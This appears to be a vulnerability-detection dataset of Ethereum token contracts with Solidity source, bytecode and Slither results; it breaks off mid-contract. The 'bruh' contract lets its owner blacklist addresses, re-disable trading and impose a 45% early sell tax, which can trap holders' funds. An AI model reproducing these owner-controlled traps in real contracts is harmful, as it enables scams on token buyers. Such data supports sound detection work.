address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x610c67be018a5c5bdc70acd8dc19688a11421073 | /**
*Submitted for verification at Etherscan.io on 2020-11-21
*/
/**
*Submitted for verification at Etherscan.io on 2020-11-10
*/
/**
*Submitted for verification at Etherscan.io on 2020-11-09
*/
/**
*Submitted for verification at Etherscan.io on 2020-11-05
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.4;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function transferFromStake(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
contract Context {
constructor () { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20, Ownable {
using SafeMath for uint;
mapping (address => uint) internal _balances;
mapping (address => mapping (address => uint)) internal _allowances;
uint internal _totalSupply;
uint256 ownerFee = 20; // 2%
uint256 rewardMakerFee = 20; // 2%
address exemptWallet;
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint) {
require(account != address(0), "ERC20: checking balanceOf from the zero address");
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
require(amount > 0, "amount should be > 0");
require(recipient != address(0), "ERC20: recipient shoud not be the zero address");
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint) {
require(owner != address(0), "ERC20: owner from the zero address");
require(spender != address(0), "ERC20: spender to the zero address");
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
require(amount > 0, "amount should be > 0");
require(spender != address(0), "ERC20: spender shoud not be the zero address");
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
require(recipient != address(0), "ERC20: recipient is set to the zero address");
require(sender != address(0), "ERC20: sending to the zero address");
require(amount > 0, "amount should be > 0");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferFromStake(address sender, address recipient, uint amount) public override returns (bool) {
require(recipient != address(0), "ERC20: recipient is set to the zero address");
require(sender != address(0), "ERC20: sending to the zero address");
_transferstake(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
require(addedValue > 0, "Value should be > 0");
require(spender != address(0), "ERC20: increaseAllowance from the zero address");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
require(subtractedValue > 0, "Value should be > 0");
require(spender != address(0), "ERC20: decreaseAllowance from the zero address");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function setExemptWallet(address wallet_) external onlyOwner returns (address){
require(wallet_ != address(0), "ERC20: zero address cant be exempted");
exemptWallet = wallet_;
return exemptWallet;
}
function _transfer(address sender, address recipient, uint amount) internal {
address mainOwner = 0x7BB705FD59D2bA9D236eF8506d3B981f097ABb24;
address rewardMaker = 0x181b3a5c476fEecC97Cf7f31Ea51093f324B726f;
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 burntAmount1 = (onePercent(amount).mul(ownerFee)).div(10);
uint256 leftAfterBurn1 = amount.sub(burntAmount1);
uint256 burntAmount2 = (onePercent(amount).mul(rewardMakerFee)).div(10);
uint256 leftAfterBurn2 = leftAfterBurn1.sub(burntAmount2);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
if(sender != exemptWallet && sender != owner && sender != mainOwner && sender != rewardMaker){
_balances[recipient] = _balances[recipient].add(leftAfterBurn2);
_balances[mainOwner] = _balances[mainOwner].add(burntAmount1);
_balances[rewardMaker] = _balances[rewardMaker].add(burntAmount2);
emit Transfer(sender, rewardMaker, burntAmount2);
emit Transfer(sender, mainOwner, burntAmount1);
}
else {
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
function _transferstake(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
}
contract ERC20Detailed is ERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library Address {
function isContract(address _addr) internal view returns (bool){
uint32 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract HYPE_Finance is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
//address public owner;
constructor () ERC20Detailed("HYPE-Finance", "HYPE", 18) {
owner = msg.sender;
_totalSupply = 10000 *(10**uint256(18));
_balances[msg.sender] = _totalSupply;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146102ff578063a9059cbb1461032b578063dd62ed3e14610357578063f2fde38b14610385576100f5565b806370a082311461028757806382d2e496146102ad5780638da5cb5b146102ef57806395d89b41146102f7576100f5565b806318160ddd116100d357806318160ddd146101ed57806323b872dd14610207578063313ce5671461023d578063395093511461025b576100f5565b806306fdde03146100fa578063095ea7b31461017757806313bbe5b9146101b7575b600080fd5b6101026103ad565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561018d57600080fd5b506001600160a01b038135169060200135610443565b604080519115158252519081900360200190f35b6101a3600480360360608110156101cd57600080fd5b506001600160a01b038135811691602081013590911690604001356104f1565b6101f5610602565b60408051918252519081900360200190f35b6101a36004803603606081101561021d57600080fd5b506001600160a01b03813581169160208101359091169060400135610608565b6102456106eb565b6040805160ff9092168252519081900360200190f35b6101a36004803603604081101561027157600080fd5b506001600160a01b0381351690602001356106f4565b6101f56004803603602081101561029d57600080fd5b50356001600160a01b03166107d1565b6102d3600480360360208110156102c357600080fd5b50356001600160a01b0316610834565b604080516001600160a01b039092168252519081900360200190f35b6102d36108b4565b6101026108c3565b6101a36004803603604081101561031557600080fd5b506001600160a01b038135169060200135610924565b6101a36004803603604081101561034157600080fd5b506001600160a01b038135169060200135610a1b565b6101f56004803603604081101561036d57600080fd5b506001600160a01b0381358116916020013516610abf565b6103ab6004803603602081101561039b57600080fd5b50356001600160a01b0316610b77565b005b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104395780601f1061040e57610100808354040283529160200191610439565b820191906000526020600020905b81548152906001019060200180831161041c57829003601f168201915b5050505050905090565b6000808211610490576040805162461bcd60e51b81526020600482015260146024820152730616d6f756e742073686f756c64206265203e20360641b604482015290519081900360640190fd5b6001600160a01b0383166104d55760405162461bcd60e51b815260040180806020018281038252602c8152602001806115f1602c913960400191505060405180910390fd5b6104e76104e0610bbc565b8484610bc0565b5060015b92915050565b60006001600160a01b0383166105385760405162461bcd60e51b815260040180806020018281038252602b8152602001806114a2602b913960400191505060405180910390fd5b6001600160a01b03841661057d5760405162461bcd60e51b81526004018080602001828103825260228152602001806114cd6022913960400191505060405180910390fd5b610588848484610cac565b6105f884610594610bbc565b6105f385604051806060016040528060288152602001611562602891396001600160a01b038a166000908152600260205260408120906105d2610bbc565b6001600160a01b031681526020810191909152604001600020549190610dec565b610bc0565b5060019392505050565b60035490565b60006001600160a01b03831661064f5760405162461bcd60e51b815260040180806020018281038252602b8152602001806114a2602b913960400191505060405180910390fd5b6001600160a01b0384166106945760405162461bcd60e51b81526004018080602001828103825260228152602001806114cd6022913960400191505060405180910390fd5b600082116106e0576040805162461bcd60e51b81526020600482015260146024820152730616d6f756e742073686f756c64206265203e20360641b604482015290519081900360640190fd5b610588848484610e83565b60095460ff1690565b6000808211610740576040805162461bcd60e51b8152602060048201526013602482015272056616c75652073686f756c64206265203e203606c1b604482015290519081900360640190fd5b6001600160a01b0383166107855760405162461bcd60e51b815260040180806020018281038252602e81526020018061161d602e913960400191505060405180910390fd5b6104e7610790610bbc565b846105f385600260006107a1610bbc565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906111cf565b60006001600160a01b0382166108185760405162461bcd60e51b815260040180806020018281038252602f8152602001806113fd602f913960400191505060405180910390fd5b506001600160a01b031660009081526001602052604090205490565b600080546001600160a01b0316331461084c57600080fd5b6001600160a01b0382166108915760405162461bcd60e51b81526004018080602001828103825260248152602001806114ef6024913960400191505060405180910390fd5b50600680546001600160a01b0319166001600160a01b0392831617908190551690565b6000546001600160a01b031681565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104395780601f1061040e57610100808354040283529160200191610439565b6000808211610970576040805162461bcd60e51b8152602060048201526013602482015272056616c75652073686f756c64206265203e203606c1b604482015290519081900360640190fd5b6001600160a01b0383166109b55760405162461bcd60e51b815260040180806020018281038252602e815260200180611534602e913960400191505060405180910390fd5b6104e76109c0610bbc565b846105f38560405180606001604052806025815260200161166f60259139600260006109ea610bbc565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610dec565b6000808211610a68576040805162461bcd60e51b81526020600482015260146024820152730616d6f756e742073686f756c64206265203e20360641b604482015290519081900360640190fd5b6001600160a01b038316610aad5760405162461bcd60e51b815260040180806020018281038252602e815260200180611474602e913960400191505060405180910390fd5b6104e7610ab8610bbc565b8484610e83565b60006001600160a01b038316610b065760405162461bcd60e51b815260040180806020018281038252602281526020018061158a6022913960400191505060405180910390fd5b6001600160a01b038216610b4b5760405162461bcd60e51b81526004018080602001828103825260228152602001806114526022913960400191505060405180910390fd5b506001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610b8e57600080fd5b6001600160a01b03811615610bb957600080546001600160a01b0319166001600160a01b0383161790555b50565b3390565b6001600160a01b038316610c055760405162461bcd60e51b815260040180806020018281038252602481526020018061164b6024913960400191505060405180910390fd5b6001600160a01b038216610c4a5760405162461bcd60e51b81526004018080602001828103825260228152602001806113db6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610cf15760405162461bcd60e51b81526004018080602001828103825260258152602001806115cc6025913960400191505060405180910390fd5b6001600160a01b038216610d365760405162461bcd60e51b81526004018080602001828103825260238152602001806113b86023913960400191505060405180910390fd5b610d738160405180606001604052806026815260200161142c602691396001600160a01b0386166000908152600160205260409020549190610dec565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610da290826111cf565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716926000805160206115ac83398151915292918290030190a3505050565b60008184841115610e7b5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e40578181015183820152602001610e28565b50505050905090810190601f168015610e6d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b737bb705fd59d2ba9d236ef8506d3b981f097abb2473181b3a5c476feecc97cf7f31ea51093f324b726f6001600160a01b038516610ef25760405162461bcd60e51b81526004018080602001828103825260258152602001806115cc6025913960400191505060405180910390fd5b6001600160a01b038416610f375760405162461bcd60e51b81526004018080602001828103825260238152602001806113b86023913960400191505060405180910390fd5b6000610f59600a610f53600454610f4d88611230565b9061125b565b906112b4565b90506000610f6785836112f6565b90506000610f7f600a610f53600554610f4d8a611230565b90506000610f8d83836112f6565b9050610fcc8760405180606001604052806026815260200161142c602691396001600160a01b038c166000908152600160205260409020549190610dec565b6001600160a01b03808b16600081815260016020526040902092909255600654161480159061100957506000546001600160a01b038a8116911614155b80156110275750856001600160a01b0316896001600160a01b031614155b80156110455750846001600160a01b0316896001600160a01b031614155b1561114e576001600160a01b03881660009081526001602052604090205461106d90826111cf565b6001600160a01b03808a16600090815260016020526040808220939093559088168152205461109c90856111cf565b6001600160a01b0380881660009081526001602052604080822093909355908716815220546110cb90836111cf565b6001600160a01b0380871660008181526001602090815260409182902094909455805186815290519193928d16926000805160206115ac83398151915292918290030190a3856001600160a01b0316896001600160a01b03166000805160206115ac833981519152866040518082815260200191505060405180910390a361118b565b6001600160a01b03881660009081526001602052604090205461117190886111cf565b6001600160a01b0389166000908152600160205260409020555b876001600160a01b0316896001600160a01b03166000805160206115ac833981519152896040518082815260200191505060405180910390a3505050505050505050565b600082820183811015611229576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60008061123e836064611338565b90506000611253612710610f5384606461125b565b949350505050565b60008261126a575060006104eb565b8282028284828161127757fe5b04146112295760405162461bcd60e51b81526004018080602001828103825260218152602001806115136021913960400191505060405180910390fd5b600061122983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611352565b600061122983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dec565b600081826001848601038161134957fe5b04029392505050565b600081836113a15760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610e40578181015183820152602001610e28565b5060008385816113ad57fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a20636865636b696e672062616c616e63654f662066726f6d20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207370656e64657220746f20746865207a65726f206164647265737345524332303a20726563697069656e742073686f7564206e6f7420626520746865207a65726f206164647265737345524332303a20726563697069656e742069732073657420746f20746865207a65726f206164647265737345524332303a2073656e64696e6720746f20746865207a65726f206164647265737345524332303a207a65726f20616464726573732063616e74206265206578656d70746564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a206465637265617365416c6c6f77616e63652066726f6d20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206f776e65722066726f6d20746865207a65726f2061646472657373ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a207370656e6465722073686f7564206e6f7420626520746865207a65726f206164647265737345524332303a20696e637265617365416c6c6f77616e63652066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c46fb1bf36f3f55f799fa3f12f941595b4d923a10cea9e52b9324f39b9288cc464736f6c63430007040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,500 |
0x08d58048e41a5024e8ad1af72d7c9f167a2e0ecd | /**
*Submitted for verification at Etherscan.io on 2022-03-02
*/
/*
_ _
| | | |
| |__ _ __ _ _| |__
| '_ \| '__| | | | '_ \
| |_) | | | |_| | | | |
|_.__/|_| \__,_|_| |_|
https://t.me/bruh_eth
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract bruh is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bruh";//
string private constant _symbol = "BRUH";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 15;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 10;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x14ef1b699eaddf2ae767488ACd1E43e92420FF12);
address payable private _marketingAddress = payable(0xD700b2841a23068f4C40617c1A8Bb939199b1331);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000 * 10**9; //
uint256 public _maxSellTxAmount = 5000000 * 10**9; //
uint256 public _maxBuyTxAmount = 15000000 * 10**9; //
uint256 public _maxWalletSize = 30000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event MaxBuyTxAmountUpdated(uint256 _maxBuyTxAmount);
event MaxSellTxAmountUpdated(uint256 _maxSellTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee and max limit for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
require(amount <= _maxBuyTxAmount, "TOKEN: Max Buy Transaction Limit");
}
//Set Fee and limit for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
require(amount <= _maxSellTxAmount, "TOKEN: Max Sell Transaction Limit");
if(block.number <= launchBlock+10){
_taxFee = 45;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
